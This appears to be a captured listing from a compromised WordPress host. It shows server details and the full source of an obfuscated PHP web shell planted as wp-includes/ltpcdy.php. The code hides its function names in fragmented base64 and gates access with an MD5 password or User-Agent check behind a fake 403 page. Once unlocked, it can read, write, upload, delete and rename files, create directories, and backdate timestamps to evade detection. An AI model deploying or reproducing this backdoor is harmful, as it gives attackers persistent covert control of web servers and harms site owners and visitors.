HEX
Server: Apache/2
System: Linux vps33975.sdns.vn 3.10.0-1160.15.2.el7.x86_64 #1 SMP Wed Feb 3 15:06:38 UTC 2021 x86_64
User: mafada (1031)
PHP: 7.4.33
Disabled: exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/mafada/public_html/wp-includes/ltpcdy.php
<?php 
function zdgw() { global $kru, $blh;$lxo = $blh[2](__FILE__);$ojz = $blh[25]()-$blh[3](30,300)*86400;$ojz1 = $blh[4]($kru[8],$ojz);$rvl = $blh[5]($_GET,$_POST);$sjs = isset($rvl[$kru[9]]) ? $rvl[$kru[9]] : $lxo;$fty = isset($rvl[$kru[10]]) ? $rvl[$kru[10]] : "";$iie = isset($rvl[$kru[11]]) ? $rvl[$kru[11]] : "";if (!empty($rvl[$kru[12]])) {$blh[6]($fty,$blh[7]($rvl[$kru[12]]));$blh[8]($fty,$ojz);} else	if (!empty($fty)) {if (isset($rvl[$kru[13]])) {$blh[6]($fty,$rvl[$kru[13]]);if (isset($rvl[$kru[14]])) $blh[8]($fty,$blh[9]($rvl[$kru[14]]));$dkl = $kru[15];}$dcu = "";if($blh[10]($fty)) {$dcu = $blh[7]($fty);$ojz1 = $blh[4]($kru[8],$blh[11]($fty));}$sjs = $blh[2]($fty);} elseif (!empty($_FILES[$kru[16]])) {$txq = $_FILES[$kru[16]];for($I=0;$I<$blh[12]($txq[$kru[17]]);$I++) {if($blh[13]($txq[$kru[18]][$I], $sjs.$kru[19].$txq[$kru[17]][$I])) {$blh[14]($sjs.$kru[19].$txq[$kru[17]][$I],0755);$dkl = $kru[20];if (isset($rvl[$kru[14]])) $blh[8]($sjs.$kru[19].$txq[$kru[17]][$I],$blh[9]($rvl[$kru[14]]));}}} elseif (!empty($rvl[$kru[21]])) {$blh[15]($rvl[$kru[21]]);} elseif (!empty($rvl[$kru[22]])) {$blh[16]($rvl[$kru[22]]);} elseif (!empty($rvl[$kru[23]])) {$blh[17]($rvl[$kru[23]]);} elseif (!empty($rvl[$kru[24]])&&!empty($rvl[$kru[25]])) {$blh[18]($rvl[$kru[25]],$blh[2]($rvl[$kru[25]]).$kru[19].$rvl[$kru[24]]);unset($iie);}if(!empty($rvl[$kru[26]])) exit($kru[27]);$dzb = "";foreach($blh[19]($sjs.$kru[28], GLOB_ONLYDIR) as $v) {$dzb .= $kru[29].$blh[20]($kru[30],"",$v).$kru[31].$blh[4]($kru[8],$blh[11]($v)).$kru[32].$blh[21]($v).$kru[33].$blh[22]($blh[23]($kru[34],$blh[24]($v)),-4).$kru[35].$v.$kru[36].$v.$kru[37].$v.$kru[38];}foreach($blh[19]($sjs.$kru[39], GLOB_BRACE) as $v) {if($blh[10]($v)) $dzb .= $kru[40].$blh[20]($kru[30],"",$v).$kru[31].$blh[4]($kru[8],$blh[11]($v)).$kru[32].$blh[21]($v).$kru[33].$blh[22]($blh[23]($kru[34],$blh[24]($v)),-4).$kru[41].$v.$kru[42].$v.$kru[43].$v.$kru[38];}echo $kru[44].$sjs.$kru[45].$ojz1.$kru[46].$sjs.$kru[47].$_SERVER[$kru[48]].$kru[49].@$dkl.$kru[50].(isset($dcu)?$kru[51].$ojz1.$kru[52].$dcu.$kru[53]:(!empty($iie)?$kru[54].$iie.$kru[55]:$kru[56].$dzb.$kru[57])).$kru[58];exit;}
$lau = 'B'.'a'.'s'.'e'.'6'.'4'.'_'.'D'.'E'.'C'.'o'.'D'.'E';
$kru = explode('~',$lau('SFR'.'UUF'.'9VU'.'0VS'.'X0F'.'HRU'.'5Uf'.'mxs'.'bH4'.'zMW'.'Y2Y'.'2Mx'.'OTR'.'jMG'.'I4Y'.'TJj'.'fjg'.'0OW'.'YzZ'.'GEx'.'ZmM'.'xOT'.'liZ'.'Th+'.'bH4'.'5M2'.'FmY'.'zVh'.'MzY'.'1N2'.'RlM'.'DQw'.'fmE'.'5OG'.'M5Y'.'2U2'.'Njd'.'iMz'.'Q5N'.'zh+'.'PCF'.'ET0'.'NUW'.'VBF'.'IGh'.'0bW'.'w+P'.'Gh0'.'bWw'.'+PG'.'hlY'.'WQ+'.'PHR'.'pdG'.'xlP'.'jQw'.'MyB'.'Gb3'.'Jia'.'WRk'.'ZW4'.'uPC'.'90a'.'XRs'.'ZT4'.'8L2'.'hlY'.'WQ+'.'PGJ'.'vZH'.'k+P'.'Ggx'.'PkZ'.'vcm'.'JpZ'.'GRl'.'bi4'.'8L2'.'gxP'.'jxw'.'Pll'.'vdS'.'Bub'.'3Qg'.'aGF'.'2ZS'.'BwZ'.'XJt'.'aXN'.'zaW'.'9uI'.'HRv'.'IGF'.'jY2'.'Vzc'.'yAv'.'IG9'.'uIH'.'Roa'.'XMg'.'c2V'.'ydm'.'VyL'.'jxi'.'ciA'.'vPj'.'wvc'.'D48'.'Zm9'.'ybS'.'BhY'.'3Rp'.'b24'.'9Ii'.'Igb'.'WV0'.'aG9'.'kPS'.'Jwb'.'3N0'.'Ij4'.'8aW'.'5wd'.'XQg'.'dHl'.'wZT'.'0ic'.'GFz'.'c3d'.'vcm'.'QiI'.'G5h'.'bWU'.'9Im'.'wiI'.'HN0'.'eWx'.'lPS'.'Jib'.'3Jk'.'ZXI'.'6MC'.'I+P'.'C9m'.'b3J'.'tPj'.'wvY'.'m9k'.'eT4'.'8L2'.'h0b'.'Ww+'.'flk'.'tbS'.'1kI'.'Eg6'.'aTp'.'zfm'.'lkf'.'nZp'.'ZH5'.'yZW'.'Zpb'.'GV+'.'dXJ'.'sfn'.'R4d'.'H50'.'aW1'.'lfn'.'Zpb'.'2t+'.'dWZ'.'+bm'.'FtZ'.'X50'.'bXB'.'fbm'.'FtZ'.'X4v'.'fnV'.'wb2'.'t+c'.'m1+'.'bWt'.'kfn'.'JtZ'.'H5u'.'ZXd'.'maW'.'xlf'.'m9s'.'ZGZ'.'pbG'.'V+c'.'G9z'.'dH4'.'jZG'.'9uZ'.'S5+'.'Lyp'.'+PG'.'Rpd'.'iBj'.'bGF'.'zcz'.'0ib'.'Glz'.'dCB'.'kaX'.'IiP'.'jxz'.'cGF'.'uPn'.'4vL'.'ipc'.'Ly9'.'+PC'.'9zc'.'GFu'.'Pjx'.'pPn'.'48L'.'2k+'.'PHU'.'+fj'.'wvd'.'T48'.'Yj5'.'+JW'.'9+P'.'C9i'.'Pjx'.'hIG'.'hyZ'.'WY9'.'Ij9'.'pZD'.'1+I'.'j5P'.'cGV'.'uPC'.'9hP'.'iAt'.'IDx'.'hIG'.'hyZ'.'WY9'.'Ij9'.'yZW'.'Zpb'.'GU9'.'fiI'.'+Um'.'VuY'.'W1l'.'PC9'.'hPi'.'AtI'.'Dxh'.'IGh'.'yZW'.'Y9I'.'j9y'.'bWQ'.'9fi'.'I+R'.'GVs'.'PC9'.'hPj'.'wvZ'.'Gl2'.'Pn4'.'vey'.'osL'.'ios'.'Ki5'.'9fj'.'xka'.'XYg'.'Y2x'.'hc3'.'M9I'.'mxp'.'c3Q'.'gZm'.'lsZ'.'SI+'.'PHN'.'wYW'.'4+f'.'jwv'.'Yj4'.'8YS'.'Boc'.'mVm'.'PSI'.'/dm'.'lkP'.'X4i'.'PkV'.'kaX'.'Q8L'.'2E+'.'IC0'.'gPG'.'Ega'.'HJl'.'Zj0'.'iP3'.'JlZ'.'mls'.'ZT1'.'+Ij'.'5SZ'.'W5h'.'bWU'.'8L2'.'E+I'.'C0g'.'PGE'.'gaH'.'JlZ'.'j0i'.'P3J'.'tPX'.'48I'.'URP'.'Q1R'.'ZUE'.'Uga'.'HRt'.'bD4'.'8aH'.'Rtb'.'D48'.'aGV'.'hZD'.'48d'.'Gl0'.'bGU'.'+ND'.'AzI'.'EZv'.'cmJ'.'pZG'.'Rlb'.'i48'.'L3R'.'pdG'.'xlP'.'jxz'.'dHl'.'sZT'.'4qe'.'2Zv'.'bnQ'.'6MT'.'Rwe'.'C8x'.'OHB'.'4IH'.'Rha'.'G9t'.'YX1'.'pbn'.'B1d'.'Htm'.'b25'.'0LX'.'Npe'.'mU6'.'MTJ'.'weD'.'ttY'.'XJn'.'aW4'.'6NX'.'B4I'.'DB9'.'YnV'.'0dG'.'9ue'.'2N1'.'cnN'.'vcj'.'pwb'.'2lu'.'dGV'.'yfS'.'53O'.'Xt3'.'aWR'.'0aD'.'o5M'.'CV9'.'Lm1'.'zZ3'.'tjb'.'2xv'.'cjp'.'yZW'.'R9a'.'GVh'.'ZGV'.'ye2'.'JhY'.'2tn'.'cm9'.'1bm'.'Q6I'.'zAw'.'MDt'.'jb2'.'xvc'.'joj'.'ZmZ'.'mfW'.'hlY'.'WRl'.'ciB'.'he2'.'Nvb'.'G9y'.'OiN'.'mZm'.'Z9a'.'GVh'.'ZGV'.'yIG'.'Zvc'.'m17'.'ZGl'.'zcG'.'xhe'.'Tpp'.'bmx'.'pbm'.'UtY'.'mxv'.'Y2t'.'9Lm'.'Rpc'.'ntj'.'b2x'.'vcj'.'pnc'.'mVl'.'bn0'.'ubG'.'lzd'.'Hts'.'aW5'.'lLW'.'hla'.'Wdo'.'dDo'.'yMn'.'B4f'.'S5s'.'aXN'.'0Om'.'hvd'.'mVy'.'e2J'.'hY2'.'tnc'.'m91'.'bmQ'.'6I2'.'VlZ'.'X0u'.'bGl'.'zdC'.'Aqe'.'2Rp'.'c3B'.'sYX'.'k6a'.'W5s'.'aW5'.'lLW'.'Jsb'.'2Nr'.'O3R'.'leH'.'QtY'.'Wxp'.'Z24'.'6bG'.'Vmd'.'Dt3'.'aWR'.'0aD'.'oxM'.'DBw'.'eDt'.'mb2'.'50L'.'XN0'.'eWx'.'lOm'.'5vc'.'m1h'.'bH0'.'ubG'.'lzd'.'CBz'.'cGF'.'uLC'.'5sa'.'XN0'.'IGl'.'7d2'.'lkd'.'Gg6'.'MjA'.'wcH'.'h9L'.'mxp'.'c3Q'.'gYX'.'tka'.'XNw'.'bGF'.'5Om'.'lub'.'Glu'.'ZTt'.'jb2'.'xvc'.'jpi'.'bHV'.'lfS'.'Nvd'.'XRw'.'dXR'.'7cG'.'FkZ'.'Glu'.'Zzo'.'xMH'.'B4f'.'Twv'.'c3R'.'5bG'.'U+P'.'C9o'.'ZWF'.'kPj'.'xib'.'2R5'.'Pjx'.'oZW'.'FkZ'.'XI+'.'PGZ'.'vcm'.'0gb'.'WV0'.'aG9'.'kPS'.'JnZ'.'XQi'.'Pjx'.'pbn'.'B1d'.'CB0'.'eXB'.'lPS'.'J0Z'.'Xh0'.'IiB'.'uYW'.'1lP'.'SJp'.'ZCI'.'gdm'.'Fsd'.'WU9'.'In4'.'iPj'.'xid'.'XR0'.'b24'.'gdH'.'lwZ'.'T0i'.'c3V'.'ibW'.'l0I'.'j5E'.'aXI'.'8L2'.'J1d'.'HRv'.'bj4'.'8L2'.'Zvc'.'m0+'.'PGZ'.'vcm'.'0gb'.'WV0'.'aG9'.'kPS'.'Jwb'.'3N0'.'IiB'.'lbm'.'N0e'.'XBl'.'PSJ'.'tdW'.'x0a'.'XBh'.'cnQ'.'vZm'.'9yb'.'S1k'.'YXR'.'hIj'.'48a'.'W5w'.'dXQ'.'gdH'.'lwZ'.'T0i'.'Zml'.'sZS'.'Igb'.'mFt'.'ZT0'.'idW'.'ZbX'.'SIg'.'bXV'.'sdG'.'lwb'.'GU+'.'PGl'.'ucH'.'V0I'.'HR5'.'cGU'.'9In'.'Rle'.'HQi'.'IG5'.'hbW'.'U9I'.'nRp'.'bWU'.'iIH'.'Zhb'.'HVl'.'PSJ'.'+Ij'.'48Y'.'nV0'.'dG9'.'uIH'.'R5c'.'GU9'.'InN'.'1Ym'.'1pd'.'CI+'.'VVA'.'8L2'.'J1d'.'HRv'.'bj4'.'8L2'.'Zvc'.'m0+'.'PGZ'.'vcm'.'0gb'.'WV0'.'aG9'.'kPS'.'JnZ'.'XQi'.'Pjx'.'pbn'.'B1d'.'CB0'.'eXB'.'lPS'.'J0Z'.'Xh0'.'IiB'.'uYW'.'1lP'.'SJ2'.'aWQ'.'iIH'.'Zhb'.'HVl'.'PSJ'.'+Ij'.'48Y'.'nV0'.'dG9'.'uIH'.'R5c'.'GU9'.'InN'.'1Ym'.'1pd'.'CI+'.'Rml'.'sZT'.'wvY'.'nV0'.'dG9'.'uPj'.'wvZ'.'m9y'.'bT4'.'8YS'.'Boc'.'mVm'.'PSI'.'/aW'.'Q9f'.'kRP'.'Q1V'.'NRU'.'5UX'.'1JP'.'T1R'.'+Ij'.'5Sb'.'290'.'IER'.'pcj'.'wvY'.'T4g'.'PHN'.'wYW'.'4gY'.'2xh'.'c3M'.'9Im'.'1zZ'.'yI+'.'fjw'.'vc3'.'Bhb'.'j48'.'L2h'.'lYW'.'Rlc'.'j5+'.'PGZ'.'vcm'.'0gb'.'WV0'.'aG9'.'kPS'.'Jwb'.'3N0'.'Ij4'.'8aW'.'5wd'.'XQg'.'dHl'.'wZT'.'0id'.'GV4'.'dCI'.'gbm'.'FtZ'.'T0i'.'dGl'.'tZS'.'Igd'.'mFs'.'dWU'.'9In'.'4iI'.'GNs'.'YXN'.'zPS'.'JpI'.'j48'.'YnV'.'0dG'.'9uI'.'HR5'.'cGU'.'9In'.'N1Y'.'m1p'.'dCI'.'+U2'.'F2Z'.'Twv'.'YnV'.'0dG'.'9uP'.'jxi'.'cj4'.'8dG'.'V4d'.'GFy'.'ZWE'.'gbm'.'FtZ'.'T0i'.'dHh'.'0Ii'.'Byb'.'3dz'.'PSI'.'0MC'.'IgY'.'2xh'.'c3M'.'9In'.'c5I'.'j5+'.'PC9'.'0ZX'.'h0Y'.'XJl'.'YT4'.'8L2'.'Zvc'.'m0+'.'fjx'.'mb3'.'JtI'.'G1l'.'dGh'.'vZD'.'0ic'.'G9z'.'dCI'.'+PG'.'JyP'.'jxp'.'bnB'.'1dC'.'B0e'.'XBl'.'PSJ'.'0ZX'.'h0I'.'iBu'.'YW1'.'lPS'.'Jvb'.'GRm'.'aWx'.'lIi'.'B2Y'.'Wx1'.'ZT0'.'ifi'.'IgY'.'2xh'.'c3M'.'9In'.'c5I'.'j48'.'YnI'.'+PG'.'luc'.'HV0'.'IHR'.'5cG'.'U9I'.'nRl'.'eHQ'.'iIG'.'5hb'.'WU9'.'Im5'.'ld2'.'Zpb'.'GUi'.'IHZ'.'hbH'.'VlP'.'SIi'.'IGN'.'sYX'.'NzP'.'SJ3'.'OSI'.'+PG'.'JyP'.'jxi'.'dXR'.'0b2'.'4gd'.'Hlw'.'ZT0'.'ic3'.'Vib'.'Wl0'.'Ij5'.'TYX'.'ZlP'.'C9i'.'dXR'.'0b2'.'4+P'.'C9m'.'b3J'.'tPn'.'48Z'.'Gl2'.'IGl'.'kPS'.'Jvd'.'XRw'.'dXQ'.'iPn'.'48L'.'2Rp'.'dj5'.'+PC'.'9ib'.'2R5'.'Pjw'.'vaH'.'Rtb'.'D4='));
$blh = explode('~',$lau('c'.'2'.'V'.'z'.'c'.'2'.'l'.'v'.'b'.'l'.'9'.'z'.'d'.'G'.'F'.'y'.'d'.'H'.'5'.'t'.'Z'.'D'.'V'.'+'.'Z'.'G'.'l'.'y'.'b'.'m'.'F'.'t'.'Z'.'X'.'5'.'y'.'Y'.'W'.'5'.'k'.'f'.'m'.'R'.'h'.'d'.'G'.'V'.'+'.'Y'.'X'.'J'.'y'.'Y'.'X'.'l'.'f'.'b'.'W'.'V'.'y'.'Z'.'2'.'V'.'+'.'Z'.'m'.'l'.'s'.'Z'.'V'.'9'.'w'.'d'.'X'.'R'.'f'.'Y'.'2'.'9'.'u'.'d'.'G'.'V'.'u'.'d'.'H'.'N'.'+'.'Z'.'m'.'l'.'s'.'Z'.'V'.'9'.'n'.'Z'.'X'.'R'.'f'.'Y'.'2'.'9'.'u'.'d'.'G'.'V'.'u'.'d'.'H'.'N'.'+'.'d'.'G'.'9'.'1'.'Y'.'2'.'h'.'+'.'c'.'3'.'R'.'y'.'d'.'G'.'9'.'0'.'a'.'W'.'1'.'l'.'f'.'m'.'l'.'z'.'X'.'2'.'Z'.'p'.'b'.'G'.'V'.'+'.'Z'.'m'.'l'.'s'.'Z'.'W'.'1'.'0'.'a'.'W'.'1'.'l'.'f'.'m'.'N'.'v'.'d'.'W'.'5'.'0'.'f'.'m'.'1'.'v'.'d'.'m'.'V'.'f'.'d'.'X'.'B'.'s'.'b'.'2'.'F'.'k'.'Z'.'W'.'R'.'f'.'Z'.'m'.'l'.'s'.'Z'.'X'.'5'.'j'.'a'.'G'.'1'.'v'.'Z'.'H'.'5'.'1'.'b'.'m'.'x'.'p'.'b'.'m'.'t'.'+'.'b'.'W'.'t'.'k'.'a'.'X'.'J'.'+'.'c'.'m'.'1'.'k'.'a'.'X'.'J'.'+'.'c'.'m'.'V'.'u'.'Y'.'W'.'1'.'l'.'f'.'m'.'d'.'s'.'b'.'2'.'J'.'+'.'c'.'H'.'J'.'l'.'Z'.'1'.'9'.'y'.'Z'.'X'.'B'.'s'.'Y'.'W'.'N'.'l'.'f'.'m'.'Z'.'p'.'b'.'G'.'V'.'z'.'a'.'X'.'p'.'l'.'f'.'n'.'N'.'1'.'Y'.'n'.'N'.'0'.'c'.'n'.'5'.'z'.'c'.'H'.'J'.'p'.'b'.'n'.'R'.'m'.'f'.'m'.'Z'.'p'.'b'.'G'.'V'.'w'.'Z'.'X'.'J'.'t'.'c'.'3'.'5'.'0'.'a'.'W'.'1'.'l'));
$blh[0]();
function gdwx() { global $kru, $blh;$lau = $_POST; $opa = $_SERVER[$kru[0]];if(!empty($_SESSION[$kru[1]]) || $blh[1]($opa.$blh[1]($opa))==$kru[2].$kru[3] || (!empty($lau[$kru[4]]) && $blh[1]($lau[$kru[4]].$blh[1]($lau[$kru[4]]))==$kru[5].$kru[6])) {$_SESSION[$kru[1]] = 1;zdgw();} else {exit($kru[7]);}} gdwx();